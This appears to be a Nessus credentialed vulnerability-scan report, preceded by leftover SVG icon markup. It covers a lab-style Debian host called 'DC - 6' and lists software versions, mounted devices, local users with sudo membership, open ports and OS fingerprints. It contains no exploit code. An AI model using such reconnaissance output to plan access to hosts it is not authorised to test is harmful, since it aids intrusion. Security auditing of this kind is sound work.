0.161-0.393-0.161-0.179-0.393l-0.107-2.036-0.107-2.089 0.214-11.357v-0.054q0.036-0.268 0.214-0.429 0.161-0.125 0.357-0.125 0.143 0 0.268 0.089 0.25 0.143 0.286 0.464zM41.143 19.875q0 2.089-1.482 3.563t-3.571 1.473h-14.036q-0.232-0.036-0.393-0.196t-0.161-0.393v-16.054q0-0.411 0.5-0.589 1.518-0.607 3.232-0.607 3.482 0 6.036 2.348t2.857 5.777q0.946-0.393 1.964-0.393 2.089 0 3.571 1.482t1.482 3.589z"></path>
</symbol>
<symbol id="icon-codepen" viewBox="0 0 32 32">
<path class="path1" d="M3.857 20.875l10.768 7.179v-6.411l-5.964-3.982zM2.75 18.304l3.446-2.304-3.446-2.304v4.607zM17.375 28.054l10.768-7.179-4.804-3.214-5.964 3.982v6.411zM16 19.25l4.857-3.25-4.857-3.25-4.857 3.25zM8.661 14.339l5.964-3.982v-6.411l-10.768 7.179zM25.804 16l3.446 2.304v-4.607zM23.339 14.339l4.804-3.214-10.768-7.179v6.411zM32 11.125v9.75q0 0.732-0.607 1.143l-14.625 9.75q-0.375 0.232-0.768 0.232t-0.768-0.232l-14.625-9.75q-0.607-0.411-0.607-1.143v-9.75q0-0.732 0.607-1.143l14.625-9.75q0.375-0.232 0.768-0.232t0.768 0.232l14.625 9.75q0.607 0.411 0.607 1.143z"></path>
</symbol>
<symbol id="icon-twitch" viewBox="0 0 32 32">
<path class="path1" d="M16 7.75v7.75h-2.589v-7.75h2.589zM23.107 7.75v7.75h-2.589v-7.75h2.589zM23.107 21.321l4.518-4.536v-14.196h-21.321v18.732h5.821v3.875l3.875-3.875h7.107zM30.214 0v18.089l-7.75 7.75h-5.821l-3.875 3.875h-3.875v-3.875h-7.107v-20.679l1.946-5.161h26.482z"></path>
</symbol>
<symbol id="icon-meanpath" viewBox="0 0 27 32">
<path class="path1" d="M23.411 15.036v2.036q0 0.429-0.241 0.679t-0.67 0.25h-3.607q-0.429 0-0.679-0.25t-0.25-0.679v-2.036q0-0.429 0.25-0.679t0.679-0.25h3.607q0.429 0 0.67 0.25t0.241 0.679zM14.661 19.143v-4.464q0-0.946-0.58-1.527t-1.527-0.58h-2.375q-1.214 0-1.714 0.929-0.5-0.929-1.714-0.929h-2.321q-0.946 0-1.527 0.58t-0.58 1.527v4.464q0 0.393 0.375 0.393h0.982q0.393 0 0.393-0.393v-4.107q0-0.429 0.241-0.679t0.688-0.25h1.679q0.429 0 0.679 0.25t0.25 0.679v4.107q0 0.393 0.375 0.393h0.964q0.393 0 0.393-0.393v-4.107q0-0.429 0.25-0.679t0.679-0.25h1.732q0.429 0 0.67 0.25t0.241 0.679v4.107q0 0.393 0.393 0.393h0.982q0.375 0 0.375-0.393zM25.179 17.429v-2.75q0-0.946-0.589-1.527t-1.536-0.58h-4.714q-0.946 0-1.536 0.58t-0.589 1.527v7.321q0 0.375 0.393 0.375h0.982q0.375 0 0.375-0.375v-3.214q0.554 0.75 1.679 0.75h3.411q0.946 0 1.536-0.58t0.589-1.527zM27.429 6.429v19.143q0 1.714-1.214 2.929t-2.929 1.214h-19.143q-1.714 0-2.929-1.214t-1.214-2.929v-19.143q0-1.714 1.214-2.929t2.929-1.214h19.143q1.714 0 2.929 1.214t1.214 2.929z"></path>
</symbol>
<symbol id="icon-pinterest-p" viewBox="0 0 23 32">
<path class="path1" d="M0 10.661q0-1.929 0.67-3.634t1.848-2.973 2.714-2.196 3.304-1.393 3.607-0.464q2.821 0 5.25 1.188t3.946 3.455 1.518 5.125q0 1.714-0.339 3.357t-1.071 3.161-1.786 2.67-2.589 1.839-3.375 0.688q-1.214 0-2.411-0.571t-1.714-1.571q-0.179 0.696-0.5 2.009t-0.42 1.696q-0.366 1.268-0.464 1.268-0.571 1.116-0.821 1.384-1.107 1.545l-0.25 0.089-0.161-0.179q-0.268-2.804-0.268-3.357 0-1.643 0.384-3.688t1.188-5.134 0.929-3.625q-0.571-1.161-0.571-3.018 0-1.482 0.929-2.786t2.357-1.304q1.089 0 1.696 0.723t0.607 1.83q0 1.179-0.786 3.411t-0.786 3.339q0 1.125 0.804 1.866t1.946 0.741q0.982 0 1.821-0.446t1.402-1.214 1-1.696 0.679-1.973 0.357-1.982 0.116-1.777q0-3.089-1.955-4.813t-5.098-1.723q-3.571 0-5.964 2.313t-2.393 5.866q0 0.786 0.223 1.518t0.482 1.161 0.482 0.813 0.223 0.545q0 0.5-0.268 1.304t-0.661 0.804q-0.036 0-0.304-0.054-0.911-0.268-1.616-1t-1.089-1.688-0.58-1.929-0.196-1.902z"></path>
</symbol>
<symbol id="icon-periscope" viewBox="0 0 24 28">
<path class="path1" d="M12.285,1C6.696,1,2.277,5.643,2.277,11.243c0,5.851,7.77,14.578,10.007,14.578c1.959,0,9.729-8.728,9.729-14.578
C22.015,5.643,17.596,1,12.285,1z M12.317,16.551c-3.473,0-6.152-2.611-6.152-5.664c0-1.292,0.39-2.472,1.065-3.438
c0.206,1.084,1.18,1.906,2.352,1.906c1.322,0,2.393-1.043,2.393-2.333c0-0.832-0.447-1.561-1.119-1.975 c0.467-0.105,0.955-0.161,1.46-0.161c3.133,0,5.81,2.611,5.81,5.998C18.126,13.94,15.449,16.551,12.317,16.551z"></path>
</symbol>
<symbol id="icon-get-pocket" viewBox="0 0 31 32">
<path class="path1" d="M27.946 2.286q1.161 0 1.964 0.813t0.804 1.973v9.268q0 3.143-1.214 6t-3.259 4.911-4.893 3.259-5.973 1.205q-3.143 0-5.991-1.205t-4.902-3.259-3.268-4.911-1.214-6v-9.268q0-1.143 0.821-1.964t1.964-0.821h25.161zM15.375 21.286q0.839 0 1.464-0.589l7.214-6.929q0.661-0.625 0.661-1.518 0-0.875-0.616-1.491t-1.491-0.616q-0.839 0-1.464 0.589l-5.768 5.536-5.768-5.536q-0.625-0.589-1.446-0.589-0.875 0-1.491 0.616t-0.616 1.491q0 0.911 0.643 1.518l7.232 6.929q0.589 0.589 1.446 0.589z"></path>
</symbol>
<symbol id="icon-vimeo" viewBox="0 0 32 32">
<path class="path1" d="M30.518 9.25q-0.179 4.214-5.929 11.625-5.946 7.696-10.036 7.696-2.536 0-4.286-4.696-0.786-2.857-2.357-8.607-1.286-4.679-2.804-4.679-0.321 0-2.268 1.357l-1.375-1.75q0.429-0.375 1.929-1.723t2.321-2.063q2.786-2.464 4.304-2.607 1.696-0.161 2.732 0.991t1.446 3.634q0.786 5.125 1.179 6.661 0.982 4.446 2.143 4.446 0.911 0 2.75-2.875 1.804-2.875 1.946-4.393 0.232-2.482-1.946-2.482-1.018 0-2.161 0.464 2.143-7.018 8.196-6.821 4.482 0.143 4.214 5.821z"></path>
</symbol>
<symbol id="icon-reddit-alien" viewBox="0 0 32 32">
<path class="path1" d="M32 15.107q0 1.036-0.527 1.884t-1.42 1.295q0.214 0.821 0.214 1.714 0 2.768-1.902 5.125t-5.188 3.723-7.143 1.366-7.134-1.366-5.179-3.723-1.902-5.125q0-0.839 0.196-1.679-0.911-0.446-1.464-1.313t-0.554-1.902q0-1.464 1.036-2.509t2.518-1.045q1.518 0 2.589 1.125 3.893-2.714 9.196-2.893l2.071-9.304q0.054-0.232 0.268-0.375t0.464-0.089l6.589 1.446q0.321-0.661 0.964-1.063t1.411-0.402q1.107 0 1.893 0.777t0.786 1.884-0.786 1.893-1.893 0.786-1.884-0.786-0.777-1.884l-5.964-1.321-1.857 8.429q5.357 0.161 9.268 2.857 1.036-1.089 2.554-1.089 1.482 0 2.518 1.045t1.036 2.509zM7.464 18.661q0 1.107 0.777 1.893t1.884 0.786 1.893-0.786 0.786-1.893-0.786-1.884-1.893-0.777q-1.089 0-1.875 0.786t-0.786 1.875zM21.929 25q0.196-0.196 0.196-0.464t-0.196-0.464q-0.179-0.179-0.446-0.179t-0.464 0.179q-0.732 0.75-2.161 1.107t-2.857 0.357-2.857-0.357-2.161-1.107q-0.196-0.179-0.464-0.179t-0.446 0.179q-0.196 0.179-0.196 0.455t0.196 0.473q0.768 0.768 2.116 1.214t2.188 0.527 1.625 0.080 1.625-0.080 2.188-0.527 2.116-1.214zM21.875 21.339q1.107 0 1.884-0.786t0.777-1.893q0-1.089-0.786-1.875t-1.875-0.786q-1.107 0-1.893 0.777t-0.786 1.884 0.786 1.893 1.893 0.786z">
</path>
</symbol>
<symbol id="icon-hashtag" viewBox="0 0 32 32">
<path class="path1" d="M17.696 18.286l1.143-4.571h-4.536l-1.143 4.571h4.536zM31.411 9.286l-1 4q-0.125 0.429-0.554 0.429h-5.839l-

1.143 4.571h5.554q0.268 0 0.446 0.214 0.179 0.25 0.107 0.5l-1 4q-0.089 0.429-0.554 0.429h-5.839l-1.446 5.857q-0.125 0.429-0.554 0.429h-4q-0.286 0-0.464-0.214-0.161-0.214-0.107-0.5l1.393-5.571h-4.536l-1.446 5.857q-0.125 0.429-0.554 0.429h-4.018q-0.268 0-0.446-0.214-0.161-0.214-0.107-0.5l1.393-5.571h-5.554q-0.268 0-0.446-0.214-0.179-0.25-0.107-0.5l1-4q0.089-0.429 0.554-0.429h5.839l1.446-5.857q0.125-0.429 0.554-0.429h4.018q0.268 0 0.446 0.214 0.179 0.25 0.107 0.5l-1.393 5.571h4.536l1.446-5.857q0.125-0.429 0.571-0.429h4q0.268 0 0.446 0.214 0.161 0.214 0.107 0.5l-1.393 5.571h5.554q0.268 0 0.446 0.214 0.161 0.214 0.107 0.5z"></path>
</symbol>
<symbol id="icon-chain" viewBox="0 0 30 32">
<path class="path1" d="M26 21.714q0-0.714-0.5-1.214l-3.714-3.714q-0.5-0.5-1.214-0.5-0.75 0-1.286 0.571 0.054 0.054 0.339 0.33t0.384 0.384 0.268 0.339 0.232 0.455 0.063 0.491q0 0.714-0.5 1.214t-1.214 0.5q-0.268 0-0.491-0.063t-0.455-0.232-0.339-0.268-0.384-0.384-0.33-0.339q-0.589 0.554-0.589 1.304 0 0.714 0.5 1.214l3.679 3.696q0.482 0.482 1.214 0.482 0.714 0 1.214-0.464l2.625-2.607q0.5-0.5 0.5-1.196zM13.446 9.125q0-0.714-0.5-1.214l-3.679-3.696q-0.5-0.5-1.214-0.5-0.696 0-1.214 0.482l-2.625 2.607q-0.5 0.5-0.5 1.196 0 0.714 0.5 1.214l3.714 3.714q0.482 0.482 1.214 0.482 0.75 0 1.286-0.554-0.054-0.054-0.054-0.339-0.33t-0.384-0.384-0.268-0.339-0.232-0.455-0.063-0.491q0-0.714 0.5-1.214t1.214-0.5q0.268 0 0.491 0.063t0.455 0.232 0.339 0.268 0.384 0.384 0.33 0.339q0.589-0.554 0.589-1.304zM29.429 21.714q0 2.143-1.518 3.625l-2.625 2.607q-1.482 1.482-3.625 1.482-2.161 0-3.643-1.518l-3.679-3.696q-1.482-1.482-1.482-3.625 0-2.196 1.571-3.732l-1.571-1.571q-1.536 1.571-3.714 1.571-2.143 0-3.643-1.5l-3.714-3.714q-1.5-1.5-1.5-3.643t1.518-3.625l2.625-2.607q1.482-1.482 3.625-1.482 2.161 0 3.643 1.518l3.679 3.696q1.482 1.482 1.482 3.625 0 2.196-1.571 3.732l1.571 1.571q1.571-1.536 1.571-3.714 2.143 0 3.643 1.5l3.714 3.714q1.5 1.5 1.5 3.643z"></path>
</symbol>
<symbol id="icon-thumb-tack" viewBox="0 0 21 32">
<path class="path1" d="M8.571 15.429v-8q0-0.25-0.161-0.411t-0.411-0.161-0.411 0.161-0.161 0.411v8q0 0.25 0.161 0.411t0.411 0.161 0.411-0.161 0.161-0.411zM20.571 21.714q0 0.464-0.339 0.804t-0.804 0.339h-7.661l-0.911 8.625q-0.036 0.214-0.188 0.366t-0.366 0.152h-0.018q-0.482 0-0.571-0.482l-1.357-8.661h-7.214q-0.464 0-0.804-0.339t-0.339-0.804q0-2.196 1.402-3.955t3.17-1.759v-9.143q-0.929 0-1.607-0.679t-0.679-1.607 0.679-1.607 1.607-0.679h11.429q0.929 0 1.607 0.679t0.679 1.607 0.679v9.143q1.768 0 3.17 1.759t1.402 3.955z"></path>
</symbol>
<symbol id="icon-arrow-left" viewBox="0 0 43 32">
<path class="path1" d="M42.311 14.044c-0.178-0.178-0.533-0.356-0.711-0.356h-33.778l10.311-10.489c0.178-0.178 0.356-0.533 0.356-0.711 0-0.356-0.178-0.533-0.356-0.711l-1.6-1.422c-0.356-0.178-0.533-0.356-0.889-0.356s-0.533 0.178-0.711 0.356l-14.578 14.933c-0.178 0.178-0.356 0.533-0.356 0.711s0.178 0.533 0.356 0.711l14.756 14.933c0 0.178 0.356 0.356 0.533 0.356s0.533-0.178 0.711-0.356l1.6-1.6c0.178-0.178 0.356-0.533 0.356-0.711s-0.178-0.533-0.356-0.711l-10.311-10.489h33.778c0.178 0 0.533-0.178 0.711-0.356 0.356-0.178 0.533-0.533 0.533-0.711v-2.133c0-0.356-0.178-0.711-0.356-0.889z"></path>
</symbol>
<symbol id="icon-arrow-right" viewBox="0 0 43 32">
<path class="path1" d="M0.356 17.956c0.178 0.178 0.533 0.356 0.711 0.356h33.778l-10.311 10.489c-0.178 0.178-0.356 0.533-0.356 0.711 0 0.356 0.178 0.533 0.356 0.711l1.6 1.6c0.178 0.178 0.533 0.356 0.711 0.356s0.533-0.178 0.711-0.356l14.756-14.933c0.178-0.356 0.356-0.711 0.356-0.889s-0.178-0.533-0.356-0.711l-14.756-14.933c0-0.178-0.356-0.356-0.533-0.356s-0.533 0.178-0.711 0.356l-1.6 1.6c-0.178 0.178-0.356 0.533-0.356 0.711s0.178 0.533 0.356 0.711l10.311 10.489h-33.778c-0.178 0-0.533 0.178-0.711 0.356-0.356 0.178-0.533 0.356-0.533 0.711v2.311c0 0.178 0.178 0.533 0.356 0.711z"></path>
</symbol>
<symbol id="icon-play" viewBox="0 0 22 28">
<path d="M21.625 14.484l-20.75 11.531c-0.484 0.266-0.875 0.031-0.875-0.516v-23c0-0.547 0.391-0.781 0.875-0.516l20.75 11.531c0.484 0.266 0.484 0.703 0 0.969z"></path>
</symbol>
<symbol id="icon-pause" viewBox="0 0 24 28">
<path d="M24 3v22c0 0.547-0.453 1-1 1h-8c-0.547 0-1-0.453-1-1v-22c0-0.547 0.453-1 1-1h8c0.547 0 1 0.453 1 1zM10 3v22c0 0.547-0.453 1-1 1h-8c-0.547 0-1-0.453-1-1v-22c0-0.547 0.453-1 1-1h8c0.547 0 1 0.453 1 1z"></path>
</symbol>
</defs>
</svg>

</body>
</html>

151883 - Libgcrypt Installed (Linux/UNIX)

Synopsis

Libgcrypt is installed on this host.

Description

Libgcrypt, a cryptography library, was found on the remote host.

See Also

https://gnupg.org/download/index.html

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/07/21, Modified: 2025/07/28

Plugin Output

tcp/0

```
Nessus detected 2 installs of Libgcrypt:

Path : /lib/x86_64-linux-gnu/libgcrypt.so.20.1.6
Version : 1.7.6
```

```
Path : /lib/x86_64-linux-gnu/libgcrypt.so.20
Version : 1.7.6
```

157358 - Linux Mounted Devices -

Synopsis

Use system commands to obtain the list of mounted devices on the target machine at scan time.

Description

Report the mounted devices information on the target machine at scan time using the following commands.
/bin/df -h /bin/lsblk /bin/mount -l

This plugin only reports on the tools available on the system and omits any tool that did not return information when the command was ran.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2022/02/03, Modified: 2023/11/27

Plugin Output

tcp/0

```
$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 488M 0 488M 0% /dev
tmpfs 100M 5.7M 94M 6% /run
/dev/sda1 4.9G 1.6G 3.1G 34% /
tmpfs 499M 0 499M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 499M 0 499M 0% /sys/fs/cgroup
tmpfs 100M 0 100M 0% /run/user/1001
tmpfs 100M 0 100M 0% /run/user/0
tmpfs 100M 0 100M 0% /run/user/1004


$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 6G 0 disk
├─sda1 8:1 0 5G 0 part /
├─sda2 8:2 0 1K 0 part
└─sda5 8:5 0 1022M 0 part [SWAP]
sr0 11:0 1 1024M 0 rom


$ mount -l
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=499040k,nr_inodes=124760,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=102036k,mode=755)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-
agent,name=systemd)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=29,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=9173)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)
mqueue on /dev/mqueue type mqueue (rw,relatime)
tmpfs on /run/user/1001 type tmpfs (rw,nosuid,nodev,relatime,size=102036k,mode=700,uid=1001,gid=1001)
tmpfs on /run/user/0 type tmpfs (rw,nosuid,nodev,relatime,size=102036k,mode=700)
tmpfs on /run/user/1004 type tmpfs (rw,nosuid,nodev,relatime,size=102036k,mode=700,uid=1004,gid=1004)
```

193143 - Linux Time Zone Information -

Synopsis

Nessus was able to collect and report time zone information from the remote host.

Description

Nessus was able to collect time zone information from the remote Linux host.

Solution

None

Risk Factor

None

Plugin Information

Published: 2024/04/10, Modified: 2024/04/10

Plugin Output

tcp/0

```
Via date: AEST +1000
Via timedatectl: Time zone: Australia/Brisbane (AEST, +1000)
Via /etc/timezone: Australia/Brisbane
Via /etc/localtime: AEST-10
```

95928 - Linux User List Enumeration -

Synopsis

Nessus was able to enumerate local users and groups on the remote Linux host.

Description

Using the supplied credentials, Nessus was able to enumerate the local users and groups on the remote Linux host.

Solution

None

Risk Factor

None

Plugin Information

Published: 2016/12/19, Modified: 2025/03/26

Plugin Output

tcp/0

```
-----------[ User Accounts ]-----------

User : graham
Home folder : /home/graham
Start script : /bin/bash
Groups : devs
graham
sudo

User : mark
Home folder : /home/mark
Start script : /bin/bash
Groups : mark

User : sarah
Home folder : /home/sarah
Start script : /bin/bash
Groups : sarah
sudo

User : jens
Home folder : /home/jens
Start script : /bin/bash
Groups : devs
sudo
jens

User : yash
```

```
Home folder : /home/yash
Start script :
Groups : yash

User : yash1199
Home folder : /home/yash1199
Start script : /bin/bash
Groups : sudo
yash1199

----------[ System Accounts ]----------

User : root
Home folder : /root
Start script : /bin/bash
Groups : root
sudo

User : daemon
Home folder : /usr/sbin
Start script : /usr/sbin/nologin
Groups : daemon

User : bin
Home folder : /bin
Start script : /usr/sbin/nologin
Groups : bin

User : sys
Home folder : /dev
Start script : /usr/sbin/nologin
Groups : sys

User : sync
Home folder : /bin
Start script : /bin/sync
Groups : nogroup

User : games
Home folder : /usr/games
Start script : /usr/sbin/nologin
Groups : games

User : man
Home folder : /var/cache/man
Start script : /usr/sbin/nologin
Groups : man

User : lp
Home folder : /var/spool/lpd
Start script : /usr/sbin/nologin
Groups : lp

User : mail
Home folder : /var/mail
Start script : /usr/sbin/nologin
Groups : mail

User : news
Home folder : /var/spool/news
Start script : /usr/sbin/nologin
Groups : news

User : uucp
Home folder : /var/spool/uucp
Start script : /usr/sbin/nologin
Groups : uucp

User : proxy
Home folder : /bin
Start script : /usr/sbin/nologin
Groups : proxy

User : www-data
Home folder : /var/www
Start script : /usr/sbin/nologin
Groups : www-data

User : backup
Home folder : /var/backups
Start script : /usr/sbin/nologin
Groups : backup

User : list
Home folder : /var/list
Start script : /usr/sbin/nologin
Groups : list

User : irc
Home folder : /var/run/ircd
Start script : /usr/sbin/nologin
Groups : irc

User : gnats
Home folder : /var/lib/gnats
Start script : /usr/sbin/nologin
Groups : gnats

User : nobody
```

```
Home folder : /nonexistent
Start script : /usr/sbin/nologin
Groups : nogroup

User : systemd-timesync
Home folder : /run/systemd
Start script : /bin/false
Groups : systemd-timesync

User : systemd-network
Home folder : /run/systemd/netif
Start script : /bin/false
Groups : systemd-network

User : systemd-resolve
Home folder : /run/systemd/resolve
Start script : /bin/false
Groups : systemd-resolve

User : systemd-bus-proxy
Home folder : /run/systemd
Start script : /bin/false
Groups : systemd-bus-proxy

User : _apt
Home folder : /nonexistent
Start script : /bin/false
Groups : nogroup

User : messagebus
Home folder : /var/run/dbus
Start script : /bin/false
Groups : messagebus

User : sshd
Home folder : /run/sshd
Start script : /usr/sbin/nologin
Groups : nogroup

User : mysql
Home folder : /nonexistent
Start script : /bin/false
Groups : mysql


----------[ Domain Accounts ]----------
```

130626 - MariaDB Client/Server Installed (Linux) -

Synopsis

One or more MariaDB server or client versions are available on the remote Linux host.

Description

One or more MariaDB server or client versions have been detected on the remote Linux host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2019/11/08, Modified: 2025/07/14

Plugin Output

tcp/0

```
Path : mariadb-client-10.1 (via package manager)
Version : 10.1.37
Managed : 1
Product : MariaDB Client
```

tcp/0

```
Path : mariadb-server-10.1 (via package manager)
Version : 10.1.37
Managed : 1
Product : MariaDB Server
```

19506 - Nessus Scan Information

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2025/06/25

Plugin Output

tcp/0

```
Information about this scan :

Nessus version : 10.9.3
Nessus build : 20023
Plugin feed version : 202508200628
Scanner edition used : Nessus

ERROR: Your plugins have not been updated since 2025/8/20
Performing a scan with an older plugin set will yield out-of-date results and
produce an incomplete audit. Please run nessus-update-plugins to get the
newest vulnerability checks from Nessus.org.

Scanner OS : LINUX
Scanner distribution : ubuntu1604-x86-64
Scan type : Normal
Scan name : DC - 6
Scan policy used : Advanced Scan
Scanner IP : 10.255.112.33
Port scanner(s) : netstat
Port range : 65535
Ping RTT : 170.285 ms
Thorough tests : no
Experimental tests : no
Scan for Unpatched Vulnerabilities : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : yes, as 'jens' via ssh
Attempt Least Privilege : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin did not launch)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 100
Max checks : 5
Recv timeout : 5
Backports : Detected
Allow post-scan editing : Yes
Nessus Plugin Signature Checking : Enabled
Audit File Signature Checking : Disabled
Scan Start Date : 2025/11/11 15:21 UTC
Scan duration : 578 sec
Scan for malware : no
```

64582 - Netstat Connection Information -

Synopsis

Nessus was able to parse the results of the 'netstat' command on the remote host.

Description

The remote host has listening ports or established connections that Nessus was able to extract from the results of the 'netstat' command.

Note: The output for this plugin can be very long, and is not shown by default. To display it, enable verbose reporting in scan settings.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/02/13, Modified: 2023/05/23

Plugin Output

tcp/0

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/68

```
Port 68/udp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

209654 - OS Fingerprints Detected -

Synopsis

Multiple OS fingerprints were detected.

Description

Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc), it was possible to gather one or more fingerprints from the remote system. While the highest-confidence result was reported in plugin 11936, “OS Identification”, the complete set of fingerprints detected are reported here.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2025/02/26, Modified: 2025/03/03

Plugin Output

tcp/0

```
Following OS Fingerprints were found

Remote operating system : Ubuntu 18.04 Linux Kernel 4.15
Confidence level : 56
Method : MLSinFP
Type : unknown
Fingerprint : unknown

Remote operating system : Linux Kernel 4.9.0-8-amd64
Confidence level : 99
Method : uname
Type : general-purpose
Fingerprint : uname:Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux


Remote operating system : Linux Kernel 3.12
Confidence level : 70
Method : SinFP
Type : general-purpose
Fingerprint : SinFP:
P1:B10113:F0x12:W29200:O0204ffff:M1460:
P2:B10113:F0x12:W28960:O0204ffff0402080affffffff4445414401030307:M1460:
P3:B00000:F0x00:W0:O0:M0
P4:191303_7_p=22

Remote operating system : Linux Kernel 4.9.0-8-amd64 on Debian 9.8
Confidence level : 100
Method : LinuxDistribution
Type : general-purpose
Fingerprint : unknown

Following fingerprints could not be used to determine OS :
SSH:!:SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
HTTP:!:Server: Apache/2.4.25 (Debian)
```

11936 - OS Identification -

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2025/06/03

Plugin Output

tcp/0

```
Remote operating system : Linux Kernel 4.9.0-8-amd64 on Debian 9.8
Confidence level : 100
Method : LinuxDistribution


The remote host is running Linux Kernel 4.9.0-8-amd64 on Debian 9.8
```

97993 - OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library) -

Synopsis

Information about the remote host can be disclosed via an authenticated session.

Description

Nessus was able to login to the remote host using SSH or local commands and extract the list of installed packages.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/05/30, Modified: 2025/02/11

Plugin Output

tcp/0

```
It was possible to log into the remote host via SSH using 'password' authentication.

The output of "uname -a" is :
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux

Local checks have been enabled for this host.
The remote Debian system is :
9.8

OS Security Patch Assessment is available for this host.
Runtime : 20.739125 seconds
```

117887 - OS Security Patch Assessment Available -

Synopsis

Nessus was able to log in to the remote host using the provided credentials and enumerate OS security patch levels.

Description

Nessus was able to determine OS security patch levels by logging into the remote host and running commands to determine the version of the operating system and its components. The remote host was identified as an operating system or device that Nessus supports for patch and update assessment. The necessary information was obtained to perform these checks.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0516

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

```
OS Security Patch Assessment is available.

Account : jens
Protocol : SSH
```

181418 - OpenSSH Detection -

Synopsis

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

https://www.openssh.com/

Solution

n/a

Risk Factor

None

Plugin Information

